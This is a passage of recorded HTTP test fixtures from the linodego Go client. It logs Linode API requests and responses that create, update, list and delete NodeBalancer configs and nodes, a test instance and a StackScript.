"proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 767904, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "488" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767904/configs/1266953 method: GET response: body: '{"id": 1266953, "port": 8080, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 767904, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "439" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767904/configs/1266953 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767904 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleCreateNodeBalancerNode.yaml000066400000000000000000000511431474652371000332370ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"region":"us-southeast","client_conn_throttle":20,"tags":null,"firewall_id":640319}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 767905, "label": "balancer767905", "region": "us-southeast", "hostname": "45-79-244-22.ip.linodeusercontent.com", "ipv4": "45.79.244.22", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "340" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767905/configs method: POST response: body: '{"id": 1266954, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 31, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 767905, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-southeast","type":"g6-nanode-1","label":"nodebalancer-example-instance","root_pass":"o\u003cF.F29=e\u003c2:{U28l5z2[w96()3TM\\bxaxjAUV*FhAfk2[-2YrC43E^H\u0026I8Hb}r0","image":"linode/debian9","firewall_id":640319,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61170530, "label": "nodebalancer-example-instance", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.159.61"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "us-southeast", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "69f0154caa24252c418222748af95908224f0aeb", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "800" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61170530/ips method: POST response: body: '{"address": "192.168.230.18", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 61170530, "region": "us-southeast", "vpc_nat_1_1": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "209" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.230.18:80","label":"node-192.168.230.18"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767905/configs/1266954/nodes method: POST response: body: '{"id": 2051559125, "address": "192.168.230.18:80", "label": "node-192.168.230.18", "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 1266954, "nodebalancer_id": 767905}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "184" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.230.18:8080","label":"node-192.168.230.18","weight":50,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767905/configs/1266954/nodes/2051559125 method: PUT response: body: '{"id": 2051559125, "address": "192.168.230.18:8080", "label": "node-192.168.230.18", "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 1266954, "nodebalancer_id": 767905}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "186" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767905/configs/1266954/nodes?page=1 method: GET response: body: '{"data": [{"id": 2051559125, "address": "192.168.230.18:8080", "label": "node-192.168.230.18", "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 1266954, "nodebalancer_id": 767905}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "235" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767905/configs/1266954/nodes/2051559125 method: GET response: body: '{"id": 2051559125, "address": "192.168.230.18:8080", "label": "node-192.168.230.18", "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 1266954, "nodebalancer_id": 767905}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "186" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767905/configs/1266954/nodes/2051559125 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767905/configs/1266954 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767905 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61170530 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleCreateStackscript.yaml000066400000000000000000000257361474652371000324170ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"example stackscript 2024-07-11 14:35:59.602577 -0400 EDT m=+1.641587543","description":"description for example stackscript 2024-07-11 14:35:59.602562 -0400 EDT m=+1.641572501","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision 1","script":"#!/bin/bash\n"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/stackscripts method: POST response: body: '{"id": 1413819, "username": "ErikZilber", "user_gravatar_id": "dea680eaec3cc565140cd87c663c1100", "label": "example stackscript 2024-07-11 14:35:59.602577 -0400 EDT m=+1.641587543", "description": "description for example stackscript 2024-07-11 14:35:59.602562 -0400 EDT m=+1.641572501", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 1", "script": "#!/bin/bash\n", "user_defined_fields": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "600" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:35:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - stackscripts:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"2 example stackscript 2024-07-11 14:35:59.602577 -0400 EDT m=+1.641587543","description":"description for example stackscript 2024-07-11 14:35:59.602562 -0400 EDT m=+1.641572501","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision 2","script":"#!/bin/bash\necho 2\n"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/stackscripts/1413819 method: PUT response: body: '{"id": 1413819, "username": "ErikZilber", "user_gravatar_id": "dea680eaec3cc565140cd87c663c1100", "label": "2 example stackscript 2024-07-11 14:35:59.602577 -0400 EDT m=+1.641587543", "description": "description for example stackscript 2024-07-11 14:35:59.602562 -0400 EDT m=+1.641572501", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 2", "script": "#!/bin/bash\necho 2\n", "user_defined_fields": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "610" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:35:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - stackscripts:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"3 2 example stackscript 2024-07-11 14:35:59.602577 -0400 EDT m=+1.641587543","description":"description for example stackscript 2024-07-11 14:35:59.602562 -0400 EDT m=+1.641572501","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision 3","script":"#!/bin/bash\necho 2\necho 3\n"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/stackscripts/1413819 method: PUT response: body: '{"id": 1413819, "username": "ErikZilber", "user_gravatar_id": "dea680eaec3cc565140cd87c663c1100", "label": "3 2 example stackscript 2024-07-11 14:35:59.602577 -0400 EDT m=+1.641587543", "description": "description for example stackscript 2024-07-11 14:35:59.602562 -0400 EDT m=+1.641572501", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 3", "script": "#!/bin/bash\necho 2\necho 3\n", "user_defined_fields": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "620" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:36:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - stackscripts:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/stackscripts/1413819 method: GET response: body: '{"id": 1413819, "username": "ErikZilber", "user_gravatar_id": "dea680eaec3cc565140cd87c663c1100", "label": "3 2 example stackscript 2024-07-11 14:35:59.602577 -0400 EDT m=+1.641587543", "description": "description for example stackscript 2024-07-11 14:35:59.602562 -0400 EDT m=+1.641572501", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 3", "script": "#!/bin/bash\necho 2\necho 3\n", "user_defined_fields": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "620" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:36:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - stackscripts:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/stackscripts/1413819 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:36:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter 